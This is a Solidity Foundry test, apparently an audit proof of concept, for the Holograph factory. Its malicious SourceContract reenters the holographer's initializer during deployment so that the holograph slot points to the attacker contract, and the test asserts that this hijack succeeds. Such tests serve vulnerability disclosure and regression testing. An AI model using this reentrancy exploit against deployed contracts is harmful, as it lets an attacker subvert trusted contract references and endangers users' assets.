// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../contracts/HolographFactory.sol";
import "../contracts/HolographRegistry.sol";
import "../contracts/Holograph.sol";
import "../contracts/enforcer/HolographERC20.sol";

//Contract used to show reentrancy in initializer
contract SourceContract {
    address public holographer;
    MockContract public mc;

    constructor() {
         mc = new MockContract();
    }

    //function that reenters the holographer and sets this contract as the new holograph slot
    function init(bytes memory initPayload) external returns(bytes4) {
        assembly {
            sstore(holographer.slot, caller())
        }
        bytes memory initCode = abi.encode(abi.encode(uint32(1), address(this), bytes32("0xabc"), address(this)), bytes("0x0")); 
        holographer.call(abi.encodeWithSignature("init(bytes)", initCode));
        return InitializableInterface.init.selector;
    }

    function getRegistry() external view returns (address) {
        return address(this);
    }

    function getReservedContractTypeAddress(bytes32 contractType) external view returns (address) {
        return address(mc);
    }

    function isTheHolograph() external pure returns (bool) {
        return true;
    }

}

//simple extension contract to return easily during reinitialization
contract MockContract {
    constructor() {}

    function init(bytes memory initPayload) external pure returns(bytes4) {
        return InitializableInterface.init.selector;
    }
}

contract HolographTest is Test {
    DeploymentConfig public config;
    Verification public verifiedSignature;
    HolographFactory public hf;
    HolographRegistry public hr;
    Holograph public h;
    HolographERC20 public he20;

    uint256 internal userPrivateKey;
    address internal hrAdmin;
    mapping(uint256 => bool) public _burnedTokens;
    address internal user;
    function setUp() public {
        //Creating all of the required objects
        hf = new HolographFactory();
        hr = new HolographRegistry();
        h = new Holograph();
        he20 = new HolographERC20();

        //Setting up the registry admin
        hrAdmin = vm.addr(100);

        //Creating factory, holograph, and registry init payloads
        bytes memory hfInitPayload = abi.encode(address(h), address(hr));
        hf.init(hfInitPayload);
        bytes memory hInitPayload = abi.encode(uint32(0),address(1),address(hf),address(1),address(1),address(hr),address(1),address(1));
        h.init(hInitPayload);
        bytes32[] memory reservedTypes = new bytes32[](1);
        reservedTypes[0] = "0xabc";
        bytes memory hrInitPayload = abi.encode(address(h), reservedTypes);

        //Setting up a contract type address for the ERC20 enforcer
        vm.startPrank(hrAdmin, hrAdmin);
        hr.init(hrInitPayload);
        hr.setContractTypeAddress(reservedTypes[0], address(he20));
        vm.stopPrank();

        //Keys used to sign transaction for deployment
        userPrivateKey = 0x1337;
        user = vm.addr(userPrivateKey);
    }

    function testDeployShadyHolographer() public {
        //setting up the configuration, contract type is not important
        config.contractType = "0xabc";
        config.chainType = 1;
        config.salt = "0x12345";
        config.byteCode = type(SourceContract).creationCode;
        bytes memory initCode = "0x123";

        //giving our token some semi-realistic metadata
        config.initCode = abi.encode("HToken", "HT", uint8(18), uint256(0), "HTdomainSeparator", "HTdomainVersion", false, initCode);

        //creating the hash for our user to sign
        bytes32 hash = keccak256(
            abi.encodePacked(
                config.contractType,
                config.chainType,
                config.salt,
                keccak256(config.byteCode),
                keccak256(config.initCode),
                user
            ));

        //signing the hash and creating the verified signature
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, hash);
        verifiedSignature.r = r;
        verifiedSignature.v = v;
        verifiedSignature.s = s;

        //deploying our new source contract and holographable contract pair
        hf.deployHolographableContract(config, verifiedSignature, user);

        //after the reentrancy has affected the initialization, we grab the holographer address from the registry
        address payable newHolographAsset = payable(hr.getHolographedHashAddress(hash));

        //verify that the _holographSlot in the holographer contract points to our SourceContract and not the trusted holograph contract
        assertEq(SourceContract(Holographer(newHolographAsset).getHolograph()).isTheHolograph(), true);
    }
}
